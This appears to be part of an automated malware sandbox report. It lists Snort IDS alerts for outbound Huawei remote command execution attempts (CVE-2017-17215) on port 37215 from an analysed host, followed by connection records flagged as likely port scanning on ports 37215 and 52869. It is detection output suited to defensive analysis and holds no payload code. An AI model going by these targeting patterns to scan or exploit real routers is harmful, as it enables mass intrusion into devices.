Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57060 -> 197.31.246.31:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35738 -> 41.59.239.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35738 -> 41.59.239.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52190 -> 157.45.209.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52190 -> 157.45.209.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41164 -> 41.204.18.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41164 -> 41.204.18.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46610 -> 221.202.160.22:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46610 -> 221.202.160.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50010 -> 197.215.77.6:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50010 -> 197.215.77.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42426 -> 157.28.17.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42426 -> 157.28.17.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42890 -> 13.152.140.36:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42890 -> 13.152.140.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39376 -> 41.79.65.151:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39376 -> 41.79.65.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60948 -> 157.171.147.236:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60948 -> 157.171.147.236:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40674 -> 41.156.209.55:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40674 -> 41.156.209.55:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56938 -> 41.101.96.17:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56938 -> 41.101.96.17:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51372 -> 47.63.66.179:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51372 -> 47.63.66.179:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36402 -> 157.122.230.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36402 -> 157.122.230.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53904 -> 157.130.93.53:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53904 -> 157.130.93.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54392 -> 198.40.74.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54392 -> 198.40.74.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44146 -> 157.81.89.101:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44146 -> 157.81.89.101:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55636 -> 197.95.163.59:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55636 -> 197.95.163.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54026 -> 197.146.235.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54026 -> 197.146.235.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37288 -> 197.199.15.206:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37288 -> 197.199.15.206:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51216 -> 80.166.177.56:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51216 -> 80.166.177.56:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37016 -> 197.123.108.99:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37016 -> 197.123.108.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46242 -> 197.182.149.227:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46242 -> 197.182.149.227:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33836 -> 90.118.180.212:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33836 -> 90.118.180.212:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51910 -> 157.125.89.203:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51910 -> 157.125.89.203:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40374 -> 197.186.137.146:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40374 -> 197.186.137.146:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47232 -> 157.38.182.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47232 -> 157.38.182.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52570 -> 14.89.47.143:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52570 -> 14.89.47.143:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37176 -> 41.119.197.216:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37176 -> 41.119.197.216:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38878 -> 41.66.205.159:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38878 -> 41.66.205.159:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54416 -> 92.31.50.53:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54416 -> 92.31.50.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45550 -> 41.45.233.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45550 -> 41.45.233.5:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32890 -> 41.184.93.79:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32890 -> 41.184.93.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48326 -> 70.116.57.7:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48326 -> 70.116.57.7:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46646 -> 125.124.24.16:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46646 -> 125.124.24.16:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37170 -> 197.94.251.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37170 -> 197.94.251.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52990 -> 157.200.28.48:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52990 -> 157.200.28.48:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51348 -> 157.25.228.57:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51348 -> 157.25.228.57:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58604 -> 41.236.26.155:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58604 -> 41.236.26.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47188 -> 41.74.135.43:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47188 -> 41.74.135.43:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34758 -> 41.120.70.192:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34758 -> 41.120.70.192:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43210 -> 157.69.83.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43210 -> 157.69.83.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33990 -> 46.91.29.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33990 -> 46.91.29.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33042 -> 197.218.185.44:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33042 -> 197.218.185.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58952 -> 41.170.154.240:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58952 -> 41.170.154.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59598 -> 197.137.132.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59598 -> 197.137.132.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36066 -> 41.190.198.11:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36066 -> 41.190.198.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38806 -> 204.12.39.60:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38806 -> 204.12.39.60:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32996 -> 197.26.157.201:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32996 -> 197.26.157.201:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56550 -> 161.87.144.23:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56550 -> 161.87.144.23:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44042 -> 197.26.124.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44042 -> 197.26.124.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51442 -> 41.58.206.220:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51442 -> 41.58.206.220:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52828 -> 197.245.177.60:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52828 -> 197.245.177.60:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46006 -> 41.171.233.155:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46006 -> 41.171.233.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35050 -> 111.163.203.195:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35050 -> 111.163.203.195:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47758 -> 157.113.83.79:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47758 -> 157.113.83.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43962 -> 197.250.181.100:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43962 -> 197.250.181.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53848 -> 41.170.121.130:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53848 -> 41.170.121.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58484 -> 157.117.186.115:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 171.117.89.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.208.149.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.185.234.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 138.103.93.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.174.204.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 73.115.254.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 50.89.225.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.8.107.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.189.161.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.249.77.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 126.183.144.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.148.248.254 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 152.74.241.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 17.109.190.159 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 171.2.185.45 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 51.24.132.201 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.170.141.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 168.61.125.85 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 100.192.116.81 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 188.245.142.237 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 106.194.122.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.171.90.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 44.23.102.38 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.249.238.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.56.118.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.119.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 128.104.190.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 208.127.240.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.3.208.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 206.239.43.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.103.234.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 136.191.142.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.109.123.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.36.224.51 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 110.74.122.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.75.245.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 42.202.144.28 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.11.215.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.151.2.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.213.153.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 181.149.236.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 48.113.240.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 171.240.202.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 61.188.220.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.182.74.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 179.192.77.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.31.62.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.184.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.97.13.69 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.149.9.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 165.95.243.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.134.178.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 163.150.42.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.63.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.137.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 184.244.225.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.255.47.208 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.15.71.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.109.115.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.231.113.26 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.24.106.226 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.169.142.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.24.52.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 13.30.145.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 94.34.6.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 109.167.143.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 168.140.167.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.84.130.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.4.167.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.95.23.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.165.116.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.83.140.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 59.161.148.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 83.177.165.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 57.179.232.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 181.77.179.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.250.160.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 8.104.228.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.150.19.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.145.43.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.107.103.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 154.238.207.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 18.36.94.165 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 67.229.96.242 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 45.82.22.110 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.191.207.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 73.87.185.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.200.86.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.221.232.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 64.122.190.208 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 150.160.228.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.23.237.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.145.183.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 69.104.48.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 158.90.117.175 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.73.27.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.238.40.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 98.72.239.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.79.222.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.132.248.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.140.146.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 93.45.131.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.161.205.189 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.157.247.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 31.132.206.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.79.63.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 179.27.16.177 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.222.205.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 146.202.183.226 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 20.215.179.224 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.129.114.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 115.61.29.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.108.71.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 209.200.229.61 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.172.148.31 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 118.95.117.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.244.27.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.11.18.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 95.49.112.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.143.108.77 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.203.154.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.194.176.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.125.123.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.45.88.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 216.204.83.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 76.214.57.173 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 68.121.34.42 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.82.123.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.220.208.134 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 128.199.8.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 134.60.39.33 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 94.116.220.172 ports 2,5,6,8,9,52869
